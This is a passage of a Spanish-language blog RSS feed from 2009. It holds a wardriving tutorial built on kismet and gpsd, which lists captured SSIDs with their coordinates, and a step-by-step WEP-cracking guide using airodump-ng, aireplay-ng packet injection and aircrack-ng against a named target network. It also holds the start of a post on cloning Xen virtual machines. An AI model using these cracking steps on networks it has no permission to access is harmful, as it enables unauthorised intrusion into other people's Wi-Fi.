href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cruzando-la-informacion-en-un-sitio-web-vulnerable/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>kismet + gpsd + gpsdrive = wardriving!</title>
		<link>http://blog.zerial.org/linux/documentacion/kismet-gpsd-gpsdrive-wardriving/</link>
		<comments>http://blog.zerial.org/linux/documentacion/kismet-gpsd-gpsdrive-wardriving/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 12:33:50 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gpsd]]></category>
		<category><![CDATA[gpsdrive]]></category>
		<category><![CDATA[wardriving]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1130</guid>
		<description><![CDATA[Antes que todo, quisiera agradecer a Leo_, quien donó prestó el GPS para que los del hacklab pudieramos jugar. Y para los que no saben lo que es el Wardriving: Se llama wardriving a la búsqueda de redes inalámbricas Wi-Fi desde un vehículo en movimiento. Implica usar un coche o camioneta y un ordenador equipado [...]]]></description>
			<content:encoded><![CDATA[<p>Antes que todo, quisiera agradecer a <a href="http://twitter.com/acrossmovil" target="_blank">Leo_</a>, quien <span style="text-decoration: line-through;">donó</span> prestó el GPS para que los del <a href="http://hacklab.cl" target="_blank">hacklab</a> pudieramos jugar.<br />
Y para los que no saben lo que es el Wardriving:</p>
<blockquote><p>Se llama <em><strong>wardriving</strong></em> a la búsqueda de <a title="Red inalámbrica" href="http://es.wikipedia.org/wiki/Red_inal%C3%A1mbrica">redes inalámbricas</a> <a title="Wi-Fi" href="http://es.wikipedia.org/wiki/Wi-Fi">Wi-Fi</a> desde un <a title="Vehículo" href="http://es.wikipedia.org/wiki/Veh%C3%ADculo">vehículo</a> en movimiento. Implica usar un coche o camioneta y un ordenador equipado con Wi-Fi, como un <a title="Ordenador portátil" href="http://es.wikipedia.org/wiki/Ordenador_port%C3%A1til">portátil</a> o una <a title="PDA" href="http://es.wikipedia.org/wiki/PDA">PDA</a>, para detectar las redes. Esta actividad es parecida al uso de un escáner para <a title="Radio" href="http://es.wikipedia.org/wiki/Radio">radio</a>.<br />
<em>(Citado textualmente desde Wikipedia.)</em></p></blockquote>
<p>La idea de este post, es hacer un mini tutorial de cómo hice funcionar (gracias a la ayuda de <a href="http://twitter.com/nozelf" target="_blank">Nozelf</a>) el GPS en GNU/Linux junto a las herramientas de <em>sniffing</em> <a href="http://www.kismetwireless.net/" target="_blank">kismet</a> y a <a href="http://gpsdrive.de/" target="_blank">gpsdrive</a>. Debo dejar claro que no enseñaré a configurar el bluetooth ni nada por el estilo, asumo que todo eso ya está configurado.</p>
<p><span id="more-1130"></span></p>
<p>Lo primero que haremos será buscar el dispositivo y asociarlo a nuestra máquina, para esto usaremos <strong>hcitool</strong> y <strong>rfcomm</strong>.</p>
<p><code>[root@balcebu ~]# hcitool scan<br />
Scanning ...<br />
	00:02:C7:15:B3:A3	BTGPS 15B3A3<br />
[root@balcebu ~]# rfcomm bind /dev/rfcomm0 00:02:C7:15:B3:A3<br />
[root@balcebu ~]#</code></p>
<p>Para ver si el GPS está entregando algún tipo de información, podemos hacer un <em>cat</em> directamente al dispositivo.</p>
<p><code>[root@balcebu ~]# cat /dev/rfcomm0<br />
PGSA,A,1,,,,,,,,,,,,,50.0,50.0,50.0*05<br />
$GPRMC,000211.991,V,0000.0000,N,00000.0000,E,0.000000,,101102,,*0A<br />
$GPVTG,,T,,M,0.000000,N,0.000000,K*4E<br />
$GPGGA,000212.991,0000.0000,N,00000.0000,E,0,00,50.0,0.0,M,0.0,M,0.0,0000*76<br />
$GPGSA,A,1,,,,,,,,,,,,,50.0,50.0,50.0*05<br />
$GPRMC,000212.991,V,0000.0000,N,00000.0000,E,0.000000,,101102,,*09<br />
$GPVTG,,T,,M,0.000000,N,0.000000,K*4E<br />
$GPGGA,000213.991,0000.0000,N,00000.0000,E,0,00,50.0,0.0,M,0.0,M,0.0,0000*77<br />
$GPGSA,A,1,,,,,,,,,,,,,50.0,50.0,50.0*05<br />
$GPRMC,000213.991,V,0000.0000,N,00000.0000,E,0.000000,,101102,,*08<br />
$GPVTG,,T,,M,0.000000,N,0.000000,K*4E<br />
$GPGGA,000214.991,0000.0000,N,00000.0000,E,0,00,50.0,0.0,M,0.0,M,0.0,0000*70<br />
$GPGSA,A,1,,,,,,,,,,,,,50.0,50.0,50.0*05<br />
$GPRMC,000214.991,V,0000.0000,N,00000.0000,E,0.000000,,101102,,*0F<br />
$GPVTG,,T,,M,0.000000,N,0.000000,K*4E<br />
$GPGGA,000215.991,0000.0000,N,00000.0000,E,0,00,50.0,0.0,M,0.0,M,0.0,0000*71</code></p>
<p>Hasta ahora todo en orden. Ahora debemos configurar el <em>kismet</em>, el fichero de configuración que tengo yo es:</p>
<blockquote><p>version=2007.09.R1<br />
servername=Kismet<br />
suiduser=zerial<br />
networkmanagersleep=true<br />
source=iwlagn,wlan0,iwl<br />
vapdestroy=true<br />
channelhop=true<br />
channelvelocity=5<br />
channelsplit=true<br />
defaultchannels=IEEE80211b:1,6,11,2,7,3,8,4,9,5,10<br />
defaultchannels=IEEE80211g:1,6,11,2,7,3,8,4,9,5,10<br />
defaultchannels=IEEE80211a:36,40,44,48,52,56,60,64<br />
defaultchannels=IEEE80211ab:1,6,11,2,7,3,8,4,9,5,10,36,40,44,48,52,56,60,64<br />
tcpport=2501<br />
allowedhosts=127.0.0.1<br />
bindaddress=127.0.0.1<br />
maxclients=5<br />
gps=true<br />
gpshost=localhost:2947<br />
gpsmodelock=false<br />
alert=NETSTUMBLER,10/min,1/sec<br />
alert=WELLENREITER,10/min,1/sec<br />
alert=LUCENTTEST,10/min,1/sec<br />
alert=DEAUTHFLOOD,10/min,2/sec<br />
alert=BCASTDISCON,10/min,2/sec<br />
alert=CHANCHANGE,5/min,1/sec<br />
alert=AIRJACKSSID,5/min,1/sec<br />
alert=PROBENOJOIN,10/min,1/sec<br />
alert=DISASSOCTRAFFIC,10/min,1/sec<br />
alert=NULLPROBERESP,10/min,1/sec<br />
alert=BSSTIMESTAMP,10/min,1/sec<br />
alert=MSFBCOMSSID,10/min,1/sec<br />
alert=LONGSSID,10/min,1/sec<br />
alert=MSFDLINKRATE,10/min,1/sec<br />
alert=MSFNETGEARBEACON,10/min,1/sec<br />
alert=DISCONCODEINVALID,10/min,1/sec<br />
alert=DEAUTHCODEINVALID,10/min,1/sec<br />
allowkeytransmit=true<br />
writeinterval=300<br />
trackivs=false<br />
sound=false<br />
soundplay=/usr/bin/play<br />
sound_new=${prefix}/share/kismet/wav/new_network.wav<br />
sound_traffic=${prefix}/share/kismet/wav/traffic.wav<br />
sound_junktraffic=${prefix}/share/kismet/wav/junk_traffic.wav<br />
sound_alert=${prefix}/share/kismet/wav/alert.wav<br />
speech=false<br />
festival=/usr/bin/festival<br />
flite=false<br />
darwinsay=false<br />
speech_voice=default<br />
speech_type=nato<br />
speech_encrypted=New network detected, s.s.i.d. %s, channel %c, network encrypted.<br />
speech_unencrypted=New network detected, s.s.i.d. %s, channel %c, network open.<br />
ap_manuf=ap_manuf<br />
client_manuf=client_manuf<br />
metric=false<br />
waypoints=true<br />
waypointdata=/home/zerial/.gpsdrive/way.txt<br />
waypoint_essid=true<br />
alertbacklog=50<br />
logtypes=dump,network,csv,xml,weak,cisco,gps<br />
trackprobenets=true<br />
noiselog=false<br />
corruptlog=true<br />
beaconlog=true<br />
phylog=true<br />
mangledatalog=true<br />
fuzzycrypt=wtapfile,wlanng,wlanng_legacy,wlanng_avs,hostap,wlanng_wext,ipw2200,ipw2915<br />
fuzzydecode=wtapfile,radiotap_bsd_a,radiotap_bsd_g,radiotap_bsd_bg,radiotap_bsd_b,pcapfile<br />
netfuzzycrypt=true<br />
dumptype=wiretap<br />
dumplimit=0<br />
logdefault=Kismet<br />
logtemplate=%n-%d-%i.%l<br />
piddir=/var/run/<br />
configdir=%h/.kismet/<br />
ssidmap=ssid_map<br />
groupmap=group_map<br />
ipmap=ip_map</p></blockquote>
<p><em><strong>Nota</strong>: Tuve que instalar una version antigua de Kismet ya que tuve conflictos con la más nueva.</em><br />
Cuando tengamos configurado kismet y, antes de ejecutarlo, debemos setear nuestra interfáz en modo monitor y correr <strong>gpsd</strong>. Lo primero va a depender del driver que estemos usando.<br />
En los casos más comunes son:</p>
<p>Intel, broadcom, ralink, realtek, entre otas:<br />
<code># iwconfig wlan0 mode monitor</code><br />
En la mayoría:<br />
<code># airmon-ng wlan0 start</code><br />
En las con madwifi  (atheros, zydass)<br />
<code># wlanconfig ath create wlandev wifi0 wlanmode monitor</code><br />
Y el <strong>gpsd</strong> lo corremos:<br />
<code># gpsd -F /tmp/gps.socket /dev/rfcomm0</code><br />
Ya podemos arrancar el kismet. La pantalla que veremos será algo similar a:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2009/11/kismet.png"><img src="http://blog.zerial.org/wp-content/uploads/2009/11/kismet-300x141.png" alt="kismet" title="kismet" width="300" height="141" class="aligncenter size-medium wp-image-1135" /></a></p>
<p>Son todas las redes que captura nuestra interfáz wireless. Pero a lo que nosotros nos interesa, es el fichero <strong>Way Points</strong> que se está guardando, según nuestro <em>kismet.conf</em>, en el directorio <strong>~/.gpsdrive/way.txt</strong>.</p>
<p><code>[zerial@balcebu ~]$ cat ~/.gpsdrive/way-ssid.txt<br />
GASPAR	-33.442875  -70.598656<br />
RED_ANDRES	-33.442886  -70.598724<br />
EDSOIT	-33.442875  -70.598656<br />
jaguar house	0.000000  0.000000<br />
Visitas Jaguar	0.000000  0.000000<br />
Rodrigo_2008	-33.442875  -70.598656<br />
&lt;no ssid&gt;	-33.442886  -70.598724<br />
costa2	-33.442881  -70.598656<br />
SUPERTALDO	-33.442886  -70.598724<br />
Fidelizador.com	-33.442881  -70.598656<br />
CDAguilucho	-33.442875  -70.598656<br />
CDAguilucho	-33.442875  -70.598656<br />
CDAguilucho	-33.442881  -70.598656<br />
CDAguilucho	-33.442881  -70.598656<br />
WebSTAR	-33.442875  -70.598656<br />
Prueba	-33.442881  -70.598656&lt;/no&gt;</code></p>
<p>Lo que vemos son los nombres de las señales, longitud y latitud. Ya con toda ésta información, podemos &#8220;graficarla&#8221; en algun mapa, por ejemplo, el de gpsdrive.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2009/11/gpsdrive.png"><img src="http://blog.zerial.org/wp-content/uploads/2009/11/gpsdrive-300x187.png" alt="gpsdrive" title="gpsdrive" width="300" height="187" class="aligncenter size-medium wp-image-1137" /></a></p>
<p>Aún no configuro bien ni cargo los mapas que corresponden, por lo que el GPSDrive me muestra la información un tanto ilegible, pero podemos ver que si está posicionando la información capturada por kismet. Lamentablemente no puedo hacer más zoom.<br />
Otra opción sería traspasar los datos de WayPoints a KML para que pueda ser interpretado por Google Earth, tambien podemos introducir las coordinadas manualmente para ir graficando.</p>
<p>La idea es la siguiente, montar una antena en un auto y salir con los portátiles a recorrer la ciudad capturando éste tipo de información y graficandolo en un mapa para luego compartirla y tener un mapa con las redes de la ciudad. El próximo post relacionado a este tema, será cuando haga wardriving, subiré fotos y todo eso.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fkismet-gpsd-gpsdrive-wardriving%2F&amp;linkname=kismet%20%2B%20gpsd%20%2B%20gpsdrive%20%3D%20wardriving%21">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/kismet-gpsd-gpsdrive-wardriving/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Crackeando redes Wi-Fi usando aircrack</title>
		<link>http://blog.zerial.org/seguridad/crackeando-redes-wi-fi-usando-aircrack/</link>
		<comments>http://blog.zerial.org/seguridad/crackeando-redes-wi-fi-usando-aircrack/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 23:42:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1104</guid>
		<description><![CDATA[En el Hackmeeting 2009 se tenía pensado realizar una charla o taller de cómo crackear redes Wifi usando aircrack lo que, lamentablemente, no se realizó. Los chicos que nos visitaron desde Bolivia estában bastante entusiasmados por este taller y cuando se fueron me dijieron ¡acuerdate de enviaros un manual de aircrack!. El siguiente tutorial o [...]]]></description>
			<content:encoded><![CDATA[<p>En el <a href="http://hackmeeting.kernelhouse.org" target="_blank">Hackmeeting</a> 2009 se tenía pensado realizar una charla o taller de cómo crackear redes Wifi usando <a href="http://aircrack-ng.org" target="_blank">aircrack</a> lo que, lamentablemente, no se realizó. Los chicos que nos visitaron desde Bolivia estában bastante entusiasmados por este taller y cuando se fueron me dijieron <em>¡acuerdate de enviaros un manual de aircrack!</em>. El siguiente tutorial o guía rápida para crackear redes wifi está dedicado a ellos.</p>
<p><img class="aligncenter size-full wp-image-1106" title="aircrack-logo" src="http://blog.zerial.org/wp-content/uploads/2009/11/aircrack-logo.jpg" alt="aircrack-logo" width="226" height="110" /></p>
<blockquote><p>Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools.</p>
<p>In fact, Aircrack-ng is a set of tools for auditing wireless networks.</p>
<p>http://aircrack-ng.org</p></blockquote>
<p>En español y en simples palabras, aircrack-ng es una suite de herramientas que nos permiten auditar redes inalámbricas.</p>
<p>Básicamente, lo que voy a mostrar es cómo encontrar la clave de una red wifi cifrada con WEP. Las herramientas que utilizaremos serán <strong>airmon-ng</strong>, <strong>airodump-ng</strong>, <strong>aireplay-ng</strong> y <strong>aircrack-ng</strong>.</p>
<p><span id="more-1104"></span></p>
<ol>
<li><strong>airmon</strong>: La usaremos para levantar nuestra interfáz wifi en modo monitor</li>
<li><strong>airodump</strong>: Para capturar los paquetes que recibe nuestra intefáz en modo monitor</li>
<li><strong>aireplay</strong>: Para crear una autentificación falsa y poder inyectar paquetes, si es que nuestro hardware lo permite</li>
<li><strong>aircrack</strong>: Para interpretar los datos capturados con airodump y poder obtener la clave</li>
</ol>
<p>El primer paso será <em>setear</em> nuestra interfáz wifi en modo monitor, ejecutamos:<br />
<code># airmon-ng start <em>wlan0</em></code><br />
Cambiamos <em>wlan0</em> por el nombre de nuestra interfáz de red wireless (la podemos ver ejecutando <em>iwconfig</em>). Yo usaré <em>wlan0</em> para todos los ejemplos. Veremos que se creo otra interface llamada <em>mon0</em> o algo similar.<br />
Este paso se puede realizar de varias formas dependiendo del driver que usemos, generalmente para las atheros o para las que usen el driver madwifi, tenemos que usar wlanconfig.<br />
<code># wlanconfig ath0 create wlandev wifi0 wlanmode monitor</code><br />
Algunos drivers nos permiten cambiar el estado a monitor directamente usando iwconfig:<br />
<code># iwconfig wlan0 mode monitor</code><br />
Bueno, una véz lista nuestra interfáz en modo monitor tenemos que ejecutar la utilidad que nos permitirá capturar los datos que están volando. Ejecutamos:</p>
<p><code># airodump-ng wlan0</code><br />
Veremos una pantalla similar a:</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/11/1.png" alt="1" title="1" width="543" height="274" class="aligncenter size-full wp-image-1114" /></p>
<p>De izq. a derecha tenemos:<br />
<strong>bssid</strong>: mac del access point<br />
<strong>beacons</strong>: paquetes &#8220;basura&#8221;<br />
<strong>#Data</strong>: paquetes útiles<br />
<strong>#/s</strong>: paquetes por segundo<br />
<strong>CH</strong>: canal<br />
<strong>Enc</strong>: cifrado<br />
<strong>ESSID</strong>: nombre de la señal</p>
<p>Nuestro objetivo es la red llamada &#8220;club&#8221;. Entonces ejecutamos <em>airodump-ng</em> con los parámetros necesarios para que se encoque unicamente en su mac y su canal.</p>
<p><code># airodump-ng -w output --channel 6 --bssid 00:02:CF:B4:DC:5B wlan0</code></p>
<p><strong>-w </strong>: archivo para guardar los datos capturados<br />
<strong>&#8211;channel</strong>: el canal<br />
<strong>&#8211;bssid</strong>: la mac del access point</p>
<p>Utilizaremos dos herramientas más para la inyección de paquetes. La inyección de paquetes nos sirve par &#8220;obligar&#8221; al roueter a que trafique y nos envie los #Data que necesitamos.<br />
Primero, utilizaremos <strong>aireplay-ng</strong> para generar una autentificación falsa.</p>
<p><code># aireplay-ng -1 64 -a 00:02:CF:B4:DC:5B -h 00:1E:65:CB:29:64  wlan0</code></p>
<p>Pasamos la MAC de nuestro objetivo bajo el parametro <em>-a</em> y nuestra MAC mediante <em>-h</em>. Con <strong>-1</strong> indicamos que usaremos el modo de ataque numero 1.</p>
<p>Mientras esperamos que se generere la autentificación false, dejamos corriendo el aireplay en modo de ataque 3, para que inyecte paquetes.</p>
<p><code># aireplay-ng -3 -b 00:02:CF:B4:DC:5B -h 00:1E:65:CB:29:64  wlan0</code></p>
<p>No explicaré detalladamente los tipos de ataques o los argumentos del aireplay, para eso pueden hacer<br />
<code># aireplay-ng --help</code><br />
o bien leer el man.</p>
<p>Cuando tengamos todos los ataques corriendo y el airodump capturando paquetes, podremos ver una pantalla como:</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/11/2.png" alt="2" title="2" width="501" height="135" class="aligncenter size-full wp-image-1117" /></p>
<p>Si nos damos cuenta, podemos ver que el campo <strong>#/s</strong> esta en 500 lo que quiere decir que esta capturando 500 paquetes por segundo. Con 5 mil o 10 mil paquetes, ya deberiamos tener la password. En el peor de los casos con 20 o 40 mil. El campo <strong>#Data</strong> nos indica cuantos paquetes hemos capturado.</p>
<p>Por mientras, en otra consola podemos ejecutar el aircrack para que interprete los datos capturados y nos muestre la password WEP.</p>
<p><code># aircrack-ng output*.cap</code></p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/11/3.png" alt="3" title="3" width="501" height="206" class="aligncenter size-full wp-image-1119" /></p>
<p>Listo, ya tenemos la clave.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcrackeando-redes-wi-fi-usando-aircrack%2F&amp;linkname=Crackeando%20redes%20Wi-Fi%20usando%20aircrack">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/crackeando-redes-wi-fi-usando-aircrack/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Clonación de máquinas virtuales en serie</title>
		<link>http://blog.zerial.org/linux/clonacion-de-maquinas-virtuales-en-serie/</link>
		<comments>http://blog.zerial.org/linux/clonacion-de-maquinas-virtuales-en-serie/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 00:55:34 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[paravirtualizacion]]></category>
		<category><![CDATA[virtualizacion]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1066</guid>
		<description><![CDATA[En el lugar donde trabajo, he estado montando y monitoreando muchas máquinas virtuales (gnu/linux sobre gnu/linux). En un principio, las máquinas estaban virtualizadas con VMWare, eran sólo 3 máquinas. Luego estas máquinas fueron aumentando a 5, 10 y actualmente ya son 20 máqiunas. La empresa donde trabajo ofrece el servicio de email marketing en base  [...]]]></description>
			<content:encoded><![CDATA[<p>En el <a href="http://www.fidelizador.com" target="_blank">lugar donde trabajo</a>, he estado montando y monitoreando muchas máquinas virtuales (<em>gnu/linux</em> sobre <em>gnu/linux</em>). En un principio, las máquinas estaban virtualizadas con VMWare, eran sólo 3 máquinas. Luego estas máquinas fueron aumentando a 5, 10 y actualmente ya son 20 máqiunas. La empresa donde trabajo ofrece el servicio de <a href="http://es.wikipedia.org/wiki/E-mail_marketing" target="_blank">email marketing</a> en base  a newsletter y &#8220;<em>fidelización de clientes</em>&#8220;, y soy yo quien debe administrar los servidores de envios de correos. Se envían más de 500 mil emails semanales por lo que el <em>uptime</em> y la disponibilidad del servicio debe ser la más alta.</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2009/10/fide.png"><img class="aligncenter size-full wp-image-1069" title="fide" src="http://blog.zerial.org/wp-content/uploads/2009/10/fide.png" alt="fide" width="478" height="249" /></a></p>
<p>Para ésto, decidí migrar todas las máquinas a Xen y comenzar a para-virtualizar todos los servidores de envios (nosotros les llamamos &#8220;<em>smtp</em>&#8220;). Si pensamos que su única función es enviar correos (ya que, de la lógica del servicio se encarga otro servidor), las caracteristicas de cada <em>smtp</em> son muy básicas:</p>
<ul>
<li>128MB ram</li>
<li>2Gb disco</li>
<li>Servicios: postfix, ssh</li>
</ul>
<p>Para lograr el objetivo, me dediqué a crear un script que me automatiza la creación y configuración de máquinas virtuales.</p>
<p><span id="more-1066"></span></p>
